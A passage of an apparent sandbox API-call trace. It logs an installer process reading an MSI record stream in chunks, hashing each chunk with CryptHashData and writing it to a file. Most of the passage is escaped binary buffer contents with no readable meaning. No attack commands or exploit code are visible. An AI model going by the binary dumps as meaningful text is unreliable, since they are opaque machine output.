{r`t\x08\x18\x0bÂüºàr´\x12RYâ?\x0fâäÍs\r8\\ÇN\x13¥i…vmÃtªè\x83c\x8bVªðα͵§öhË\x9cÃ\x04r\x86\x88*N\x86\x93}W?Æ3\x07t\x0fëË\x1aE\x0eMù\x82bðJ<4&¡À\x94UZÞW*$ò\x87ÈgN\x95ø`pðÜ)ßqÈ\x8a/\x8d%\x9b\nÈ\x8c\x99·\x95¦\x11\x06]m;\x86É\x93¼\x84\x9dd\x09\x08'\x09Òîr\x99Èü\x08Z«ôð]ÛÆ\x1c_\x01t\x88ýØÖtOÇ0\x1e\x98[.\x88òÙ[¼ÆÚ\x9c\x01:\x8b \x9aTâ\x8a\x81û\x06h/ÿ!=¿sMòû\x84\x9eÿ\x83È\x07\x98vrÆ\x08P9uúK\x0e@\x97n\x115*\n{¤¬öûì\x9bïþ9êãA6\x92$\x11\x1eûzÍm\x96Õ\x9d\x89\x86Üg:\"\x15Ã,\x86/U7ÿbZµ\x86ÝÛAå*\nÁµ\n_>\x98=ÐÚßéQþà>F¼°\x18Tº½Ö{\x05<\x93Ò槱æ<\x08ɸ\x16TÇN`ä°,0³\x13í\x1aÓѺ¹°¯4\x9eï6\x818*ð¢f\x02a«ò¡\x81V\x17qºMÞV\x07Öç\n\"ª·®ðgæ\x8aËmEbt\\Ã\x09IT\x0e3±\x93<_\x05ÿ%+º6×Ö\x89R\x8d·<~\x03\x9b¶ÒÀáä'Vkõ\x10m¢}̾øËGýà¥Oâl¾\x87Z4\x80ø·\x18\x03ùkÖ\x08:\x8fð\x1f\x80GY¥\x84ÄÉAüÛ bn~HBhÇI\x8cX]e\x03\x1d® ';ÅoØFî#F\x89ø(1e_Ï#b]\\3-y½\x97«QÎ\x86\x08\x06»\x01a\x9c.^\x04g@æsnê\x14\x11ܶ\x1cÃ,b\x19L\x97÷õ#PÞ9O\x06|\x05üÚNJGô\rïºíCe\x0fæ±\x1c\x9d\x8f~\x9c7z\x1dæ×/\x9fPùg¼\x7f7\x83ETÈ\x95ã°ÈQ3À¤Í6]vQO\x81ÆLÅÓÆ9à\x07\x8bÔXê\x04\x8cxÎ#\x13\x1ano\x99ózU³\x8e\x1cme4\x9bö)\x02f6ãA³\x88NðÊ\x1cØ\x809$Ûbõ³«\x90\x82\x14\x81$!=¢¯?\x8f¸\x95\x9b\x15ú|ê5)@pô\x1d\x02Üm t\x03", pcbDataBuf=0x21df03c) returned 0x0 [0147.544] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.544] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.544] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="ämµ¼\x1f\x14", pcbDataBuf=0x21df03c) returned 0x0 [0147.545] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.545] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.545] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="c[\x10$\x09\x92Ä\nlµ¼\x1d¨\x0bÕ\x86fpÿãõâgw£\n÷\x9c¾\x98¸E`\x96\x03¸ \x19H*²î\x03v\x08…¨ù¤¹hj\x83çÚe0\x14qVX\x96\x15ß\x83\x84\x1dw\x8dòi\x11\rèW¥|ÄÌ \x16$", pcbDataBuf=0x21df03c) returned 0x0 [0147.547] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.547] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.547] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="Ë\x8d¾cD¯¬\x1d=\x0f\x8eÉ2¯…\x04\x09nó\x03\x8aïS&^¡>\x07°\x07à¢\nÂÉ÷\x04VU+By°\x89Íqå¿Z<¬ë\x07©W`~\x1fú\x8f…On\x0bß[÷Op\x1a§µ¼\x11\x9azÚ\x80ËÜ)h<;n\x8fýW5yúÛ\x18u9§}øW êD¨,IøôAý\x12ûp%\x03drk]ìô³ª\x83åãE-¦v²CX\x01ûù\x07è\x04\x1dÖ\x0c/\x90ñ'i\x81¦ ´ÖÐ\x8e\x94JMõº\x92\x8f\x86\x19…cxÁ\x05\x9exå_(ò\x16PbPbFBÂòo\x1d…*`®i]é°\x89\x19\x06F_³i}Íâ\x9d\x08\x02\x9c¬}§SyÅ\x9esÜËß33ä6(+°eHà:\x1fd×\x93þ\x14[¡÷\x7fV7A£È\x88­S\x94ÓG¦F͵ö\x1dm\x96>\x1eËÇ8ÜÒ\x15·\x18_H.Ò ³f±\x0b\x19¾\x9b¾n0j{|p\x1a§Oû\x9b¾\x09\x0b\x09", pcbDataBuf=0x21df03c) returned 0x0 [0147.548] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.548] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.548] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="b\x80h^\x17üf2?¿ÄE\"é0\x87\x08\x8aÁ>­\x9d¼LµÂÅÜ¡Z«µõ.þ\x8fNmMT\x9eM\x8aÞöÊ\x8b mK%aäªãó6Ø\x81r\x94&\x8193°\x9bóèbhe¶\x9cj\x9eËu\x1fy2P\x11ìqF\x8eHsU]YkZ9\x199>¸ý­¾|.$ø{\x05ýÔ·\x88Z\x8aõôú:TÈ\r«ìÚ\x8fj\x95÷¥…\"ѽr_¸½\x04i¿-¹Æ'$7?6V`7¬¶})@¼Ý= úA\x8a\x0eë»W3\x82\x95p½kG\x15ôO\x80Ç8!NA\x8bµ", pcbDataBuf=0x21df03c) returned 0x0 [0147.550] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.550] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.550] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="\x8eB4Y\x8a³ÛT°cH*È\x91\x12p\x11osR\\Rä\x09þùØ\x1a¤\x8eêÀ'j;EwÍ\x14\x1d\x0cZþàÔ\x18…@\x93¿\x8fÓº\x10\n\x87`vß\x1ab\x1c#Ë{,\x7fñ%\x93-%\x13OËÐôA8", pcbDataBuf=0x21df03c) returned 0x0 [0147.551] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.551] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.551] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="ß;üq0D\rHv³ÈoBq8\x81A\x1bWë\x9fø\x84øî\x05ûl\x1eê\x1c¥\x97>rêëÿþK÷t\x8b÷\rê,\x16j·êÎ\x98éh\x15òÔr\x19\x92^\x82$w\x18d\x96Ý@Ë\x84\x9fþ\x87}\ne\x88\x15\x08iKÆëÐ\x8e\x89\x9esxnrl=®)yس\x8c\x10»\x83\x91,¦Î\x9badZôCÝÏñ\x17³«½§\x95KÒdWè¬ßâ|\x0c3\x8c\x9d|ðz\x84×ÿ\x89)\r²RäY} \x8821", pcbDataBuf=0x21df03c) returned 0x0 [0147.552] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.552] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.553] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="ãÆ4ñRÌÐ\x14\\\x99 ¸£­7\\¥/4W笴\x91Ý\x0c\x14´é\x08t\x9b~/%;Ö\x05\x90û÷Ð\x84¿[\x93@a\x1dâÓCáÆ\x08…Ñ%[d§æà\x8a\x1c(@´\x91µ«*Ťï\x97\x8e\x9e{°\x89\x0fÏ \x1bæ¥HVBe^t\r\"V\x1ep¿»\x15-­j¿Ç\x98êÎ\x88\x1b˳\x01±\x03¨\x11e Ð¥¥ËÛ\x16ÜÕOP\x9d%=\x1a\x88¸\x9acàò¸ç\x8e´-\x07b6¯úr\x8f\x86/½È¢ãÎ'µ|\x9e%8\x1dZÍð\x90_D27\x0e_tä©aÄWyÐ\x12Se¹TÜW¼\x0b\x86\x05\x9bA·\x0cBoUGÃÌ1K\x01AT´ÿ6÷\x01O\x18yïe\\\x11\x89\x010t¾\x90;\x87Ð\x11ù£3ã\x8e3Ú\x15<\x8a\x9a\x03äOD\x98\x1f¥QVùMã)\x92\x01×ý*ô\x9e@\x89.ìÛÐ\x1c·UÛüsù¾¡cX\x176\x9eÄQ7\x13Ê\x8dò\x9dÚuÄõ«3u\x08\x8eâƺ۪·\x8fÉW\x06\x02\n¼\x94Í", pcbDataBuf=0x21df03c) returned 0x0 [0147.555] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.555] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.555] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="K\x14èÙm\x84k\x80\x8c\x96!\x9cç\x06U\x9b|4\x98m\x83ë:.ÊÞ\x83Í»\x8eé\x81¬jF\x1c9\x89\x0c\x91¨\x9c±Jó~qË/\x0c\x83*Ì;GM_À\x9f°q\x98¡[Õ )>f6È[À) Û\x0e}\x15\x14­-\x07\x98f)§¨7[\x98\x0e\x94à\x9b\x9d\x1f\x90\x01GW\x8c\x12q\x8e|Ñ\x15Ë-g.Nú°E\nLO@-¢¡\x88\x12\x1eDãh|¾ú¦¹zÐ\r\x96?a\x86ÆGº|¥ÿ;\x01¢fÇÓVbêæÙV\x04DåÎwSvhñÝ\x8d©\x92\x16é½\x9f\x0b\x1b³$\x0fǾ\\ç#\rØ\x8dÇ\x07óÄ>E\x1bØZ§/*.¾…RN\x94¢\x1b÷\x8e\x150\x96\x19á¤ç\x84­à\x03ð\x8e\x87;9…}(\x81æ²CÀÞºt¥w\x898n ÿ\x0b\x11Vû:~·Õ\x14\x81ôj\x8f\x8c\x98îu\x06\x90\x91`Ü\x17Á½âàÉëiÙX[ö\x16n3ìó\\f\x9c,Ýܨz\x99qð\x0fìL¸*\x196o\x94Ô\x94¥wMã\x8b²\x87âÕ£vzs\x80Ã`¬GÁYpã\x8c\x10Û_ygõ½\x0eÃóR\x0e-Ú/cÓT§\x03Iío", pcbDataBuf=0x21df03c) returned 0x0 [0147.556] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.556] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.556] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="<íÍ·Ie2\x91üàaÍ\x14,·Mÿÿadr¿ÿÖ Jûï\x12ó\x0fÃ\x82\x88\x1a­N\x169\x93\x1c0\x1cw\x88×j\x9eþ·àÒÌ\x86Å]¾", pcbDataBuf=0x21df03c) returned 0x0 [0147.560] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.560] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.561] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="V\r§ªËÚÆ@ØB\x91Y\x03tô²x\x064Må\x0bº\x9dª\x9bH\x89Û6Í^îJE\x87\x81¸\ná\x8aº\x08!*l\x8b\x82\x8dnìµLÕ\x95ê0Q\x14Ì][&Ý\x80\x92ë\x0få}TEL\x15\x8a6T\x86ÿ\x1e\x0c\x80éÓïïï ¼õ\x11ÏÚ\x94+3\x15âÏÞAOÓ~æ\x91MËÿð\"U…ÄO\x7fÆ#Æ\x80@â\x8f\x9c5J'\x91¶´³¿z^\x81ÚPÃ\x9d\x8f*=ñÑ\x0bÐZ¯¾;\x19\x06ð§.\x1bNé\x08\x1fÌ*\x14\x943\x8dÿ>å\x83jiZ\x1b}\x09\x17\x0c=äóh\"\x91t¡WAßä@(\x1fpPoÁ\x8d\x05`\x17¤\x8dT7ïã\x1f\x19³ÊÐMÍMØ\x150\x1cé`\x8a9oÇkñqW\x0fÞ\x9aþ¯Ð\"\r©]hK,$/×k3¸UGªd©ö¨3\x0bÕ\x83¼7\x08Ü»ç\x9bp\x88L\x1b¤\n\x91Q~\x0fÅ\x08\x82xk/V\x11\x19\x89RéN\x83qqý\x9aøÙñû篾PHî=\x95¿\x83òM\x03\x17\x97Ä\x18}!Ð\x8c¦Î]\n´)SÝ\x01\x9eü@|P\x04,\x91P}?¯bé\x95iØ×æ\x9b\x8dùÀôÐ?\x03\x18¶\x032¾E\x94¡\x84õ\x9bc ò\x7fÂ_\x08¿\x89\x82O\x86\x10\x881®ÔO0\x9d\x17\x04âG ³þýX¬\x07kø9ý3\x9d\x81+»í»\x1f5J£~\x0f\x8cºeV\x103 i}r·ë<Ú\x0eý`\n\x8aÇy…)_*VâO.èTj¾\x10\x05ê\x09}¬à\x91\x9d:75±!\x98\x97¥\x9a\x87þ)ͽ\x80ÏÂ+\x81³O¬\x1c±3\x06\x82íօi>jªX\x82tº¸nTKµ¡ÛËà<\x06ê5)@pô\x1d\x02Üm t\x03", pcbDataBuf=0x21df03c) returned 0x0 [0147.562] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.562] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.562] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="̸\x08\x01ó\x91\x17Â", pcbDataBuf=0x21df03c) returned 0x0 [0147.563] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.563] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.563] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="r·Ë)'\x82\"\x19´,ì\x8buÄ\x87ÝÎ|a1%8¾c­g¼ ûú\n³[)#\x09\x9dÃ'e½DÜ\x07ó¿{VQ_ \x1eÚ\x92ÁáÓx\x0cîLALÒÕ}H)»#\x02X\x07%Ü.\x15QeGØñBêu\nxõ&\x17.", pcbDataBuf=0x21df03c) returned 0x0 [0147.565] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.565] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.565] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="\x1f<\x95¿\x1dl\x98.âØ«áK:s\x04\x9a\x13äl;Þ\x03Wê¥D²\x06êV¹\x01Y\x8c\x04\x80brH|Öi\x7f~dß)ÞN¬\x91\x11æ§\x89¼\x09Ô\x87LX¿ë\x92´ü×\x19\x9aþ\x84 aI\x9f¥W^âb`ß\x1dUÎ\x11\x9füü\x87«\\õ\x1dj²©\x95ª\x10ͧ\x95\x9d°\"5ó´ø³\x82×B…>çµå `#mÀû[\x86\x93Jè8í\x1d\x9eº°Ji\x86ù\x9bìË\x83¥è4°ý\x12tbRÓ\x9f8å\x904oÉ<\x98\x88$v\n5°)", pcbDataBuf=0x21df03c) returned 0x0 [0147.566] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.566] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.566] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="Ò\x88\x8f²éúí»ö]9½åÈ#c,ÎÖ6Siþô\x80hQD\x11¡\x9c3\x87ÞÍë)n=\x82ÃJ±…¨ØV>Þ¹nK\x01\x8eØs\x8b¿\x8fþt§Í« Cdy-p\x9b:%Û\"\x8eÕú½(4Ræw(l©ìæ\x99P\x7fÛ½øl°}ÂëßmÄoH¥\x9cí}K1M#7\x04Í\x8a¡ \\+%kÂUÒä\x1cß\x99\x89êV6\x91Ñ", pcbDataBuf=0x21df03c) returned 0x0 [0147.579] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.579] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.579] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="", pcbDataBuf=0x21df03c) returned 0x0 [0147.581] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.581] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.581] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="Ó\x11É\n\x98öFÖë\x93\x8dU\x88Y\x1e\x8c\r~\x1d\x8fx⹤OGÞ\x03>'/w\x83\x93qMcìl\"\x8ds\x04\x8b\x98\r\x91-ºm\x84¬$hÚWF|q\x83\x03\x02U[°âÚkÃ\x03Æ\x94MÃT­ADe/îÇ\x17qú(¦\x03(\x94\x1e\x99ÿ:O|\x81\x13;ø,¥cò\x05\x14Á­°Ï\x9d£\x98w\x9d®\x1f\x0e\x84>\x9aDW7\x1bûJó\x948¤\x82¡5o×)/ǵBjï¸f¨\x0e¿Ý(o\x1d\x02¿~`-\x16\x1e&ÚÒ\x17¥¯´_\x7f\r#©Á\x86{ùZR\x87\x86ï\x12\nÄB\x07s@¿ÿ¶\x09+4\x8eLMaÿã!!É\x88\x02\x8a\x96ËÖ¦¿j3¢ºõ\x16\x80È\x1dM\x9dj\x92¾8Qþ¸\x0cö4\x01U·²ÎKl¼\x9b¾b© ÇÕ·ó^ñTKBßÃ<\x0bß@A\x18®\x8brÑ#ÔJ\x10* íÌ(b¦ZQ®ÿu\x96yß\x15\x8bEöK\x7f{J¸UíM'Û¦\x87×ÿê\x13\x14½×ìTc\x7fÍW\x09×@aL^ÙÞsZ\x95]Q¬ÿË¢ÄñöS°\x8cèJøk4sõûóM:)\x8bq¹_\x8f\x96oÎ7ò\x9bûëkr\x19\x9a%®Ù\x0fx9ö¬÷º2cs\x9bz×Q2êýâORB\x87(/«\x89C\x0eNÊH]xF\x96x>Ë;Æ»%³\x86\x8e­bL-¥\x84\x1fÜ\x19Ê\x94÷\x89u\x83{\x9f®¼ÇÀ\x84MLA·=BÛ\x90§ÿ\x8auMí\x0bÙNlÇÞ«çú|¹Ö\x0e3w\x1c\x05à%zÝø2\r@~\x8b\x98…Ôçò²L2µ'\x95RkéØáSqY\x86\\¹K\x04XËqO@Ü\x13\x81uk¸\x86Ë\x9b±5\x16½2\x97ÔB¥ª\x14Î\x80\x0bãAj6%IAM²GY\x9fF8­iËù\x93Â\\£Ìñi`Dˬƽ\x15\x02|¡2­Oj=>ª³\x7fíF\x9f\x8a\x12\x867Ä÷\x9cØ{\nÆW\x06qË÷l\x8fð\x93\x1fÑYƤü~\x0e\x9b{¢\x8cT\x02@Fq+Öê5Ý\x89~Ý\x12[æbí\x86\x04^Â¥Ë<\x9b>\x04ýß\x81ÇT\x8aZ¦àÃx9\x16\nC+¸\x81]ÜæQ×»cßmãSbT\"îfË7»aâÌ9:¹ÓÔ\x87¡ZkÊ¿é?kPä]8\x80ÊB­±W\x9blàB\x16Á\x9f\x8cS\x9dE=\x0526#zXÇü\x81\x88u\x1emVÂZÎÊñosgÞÏÒjÛ·Áü\x98{$Y>\x9dtI\x82ÀÌEÞì´r¸q¦\x0bZ)?äôa-ÍÂÆhG\x09Ò]\x83ª×\x09\x16<ëa°\x95/\x82)\x06FëfÇsFØ\x9eQr¨ò\x04Ã!`¬\x02ÏÖÞF\x1c\x99®:ä<Ùt\x95}", pcbDataBuf=0x21df03c) returned 0x0 [0147.582] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.582] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.582] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="\x88\x95©e\x919Ük Ê\x80éÞR-¶è°£gB\x1e@¢aS\x8dóñ\"Õ\x9f\x13öb\x91ø8¥Ô3", pcbDataBuf=0x21df03c) returned 0x0 [0147.584] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.584] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.584] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="\x97Míÿ-\x97\x1b>\x95\x83C\x88ÞÖ\\\x0e-\x81¾\x1dÓ/®¿*\x88…UæO\x96\"8¤\x19\x94íàØ)\x84Wê×\x0e\n7d^\x09ºLqN\x07è\x9d×­^­Õ[ú\x1c5Ã[&Æe?Q\x0bm\x98;\x9bdÍG[Çv»\x1f£\x1f¶\x14RÈ;\x19", pcbDataBuf=0x21df03c) returned 0x0 [0147.585] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.585] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.586] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="¶\x1b'¤ÂýbÖq\\\x04ËÑ\x1cÁáñ\x1d×HFëYн¢ÚÔÓ+R·\x984\x06È°`á×zY\x11wÈB8zÊ A[*\x8bÉ·[~\x1fìÊl'&Ï3µÇ¡Ú\\:\x032ÖPRÿ\x96\x8cÔ\x84¨\x97\x09Âpà\x83\x17Þ>\x11Ù\x8féÆá\x1eñ\x7fY\x8cOu»\x8dG¤ó7tYk\x8d.2åÐý@\x12Ý ÝÀï\x93\">r\x04É$égaË\x87\x7fú²ÂI«àÚ:,À{H®æo\x18«á\x99¿KÄ$É\x1c¹cy7%S0ð÷Þ\x94\x14)à©kàË\x11¾I·\x135©", pcbDataBuf=0x21df03c) returned 0x0 [0147.587] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.587] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.587] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="MÁ§­¿ZY2\x1f\x9d\x98M.\"\x88P\x1bþL\x0f\x84Ti50%©\x09\x17©\"Ê\x83°c)ûø\x980-âì…\x1bÊq­\x03_Å$\x16ô=\x18®\x8fÌÓaõ\x1bá\x0cÝ\x11sÙÒ«I²­GÓ\x80½t\x16[S\x1d|_O6$\x0c¦ÌuzögES\x9d*\x17RIþ`½nE{²Mæ\"M1q£\x0fu¨¡vB\x89\x90\x8a\x08Ç¡\x03\x8dÛH Vl\x9e\x1fżXMyÛ)\x8f\\\"± ñÚ.Gà", pcbDataBuf=0x21df03c) returned 0x0 [0147.588] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.588] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.588] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="b{\x1dÍÌrÒ\x81µE\x0eì`\\ ÇÔPV1\x8e\x0bÛ×\x7f!BÅáe\x9b\x93\x0cw\x12\x95Ìùö±\x1c/KÝ0¦\x9eÛ9q\x8dÍC\x94\x15i^\x18\x8aÙJ\x7f;AõmÁÞ5Z\x82Rs\x0cæ\x84\x99", pcbDataBuf=0x21df03c) returned 0x0 [0147.590] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.590] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, 